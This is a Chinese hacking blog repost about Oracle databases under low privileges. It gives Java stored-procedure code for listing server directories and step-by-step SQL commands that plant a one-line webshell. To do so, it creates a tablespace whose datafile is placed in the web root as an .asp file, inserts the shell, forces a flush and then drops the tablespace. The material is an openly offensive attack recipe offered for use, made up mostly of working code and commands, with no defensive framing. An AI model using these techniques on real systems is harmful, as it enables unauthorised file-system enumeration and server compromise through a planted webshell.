oracle 最小权限,oracle低权限下获取shell

转载请标明:http://hi.baidu.com/hack_forensic   《关于oracle列目录的可行性测试》

经过本人测试,确实可行,解决了 kj021320文章的遗憾,kj021320在文章<>最后说,当然这个方法缺点就是你要知道WEB路径.少费话,直接贴code:

create global temporary table BLUEUSER.dirlist(

filename varchar2(255),

filesize number,

filedate date)

on commit delete rows;

/

create or replace and compile java source named DirList as

import java.io.*;

import java.sql.*;

public class DirList

{

public static void getList(String directory) throws SQLException

{

File path=new File(directory);

String[] fileList=path.list();

String fileName;

long fileSize;

long fileDate;

for (int i=0;i

{

fileName=fileList[i];

File fpath=new File(directory+’/'+fileName);

fileSize=fpath.length();

fileDate=fpath.lastModified();

#sql{insert into BLUEUSER.dirlist(filename, filesize, filedate)

values(:fileName,:fileSize,to_date(‘01/01/1970′,’mm/dd/yyyy’)+:fileDate/(24*60*60*1000))};

}

}

}

CREATE OR REPLACE PROCEDURE BLUEUSER.p_get_dir_list(i_directory IN VARCHAR2) AS

LANGUAGE JAVA NAME ‘DirList.getList(java.lang.String)’;

SQL> exec BLUEUSER.p_get_dir_list(‘/tmp’);

PL/SQL procedure successfully completed

select * from BLUEUSER.dirlist;

select * from BLUEUSER.dirlist where rownum<150;

select filename from BLUEUSER.dirlist where rownum<150;

select filename from BLUEUSER.dirlist;

truncate table BLUEUSER.dirlist;     好啊 要不然是追加.

测试环境:oracle 9+redhat

——————ORACLE 建立数据文件WriteWebShell———————

SQLJ   存储过程写文件也可以,逼于无奈对方机器不支持SQLJ  还有  UTL_FILE包也被干掉了?

那 也可以 使用以下我说的这个方式

SQL> create tablespace kjtest datafile ‘e:\website\kj.asp’ size 100k nologging ;

表空间已创建。

这里记住了  100K为ORACLE 表空间最小的单位,如果你的一句话SHELL比较大 那可以200K比较稳妥

但是最终建议一句话一定要最最简洁

SQL> CREATE TABLE WEBSHELL(C varchar2(100)) tablespace kjtest;

表已创建。

一般用 VARCHAR类型已经可以 ,表空间太小了 ,所以不可以 为 CLOB或者 BLOB类型。

SQL> insert into WEBSHELL values(‘’);

已创建 1 行。

SQL> commit;

提交完成。

提交完成之后就 OK? NO~ 因为数据还没有被 DBWn 进程刷到文件呢. 所以需要同步一下CKPT以及OFFLINE当前表空间

SQL> alter tablespace kjtest offline;

表空间已更改。

到这里 你的 一句话SHELL代码已经 写到 那个文件了

你会发现有这样的 的 代码

一句话shell已经OK了

最后使用后记得吧 表空间删除

SQL> drop tablespace kjtest including contents;

表空间已删除。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值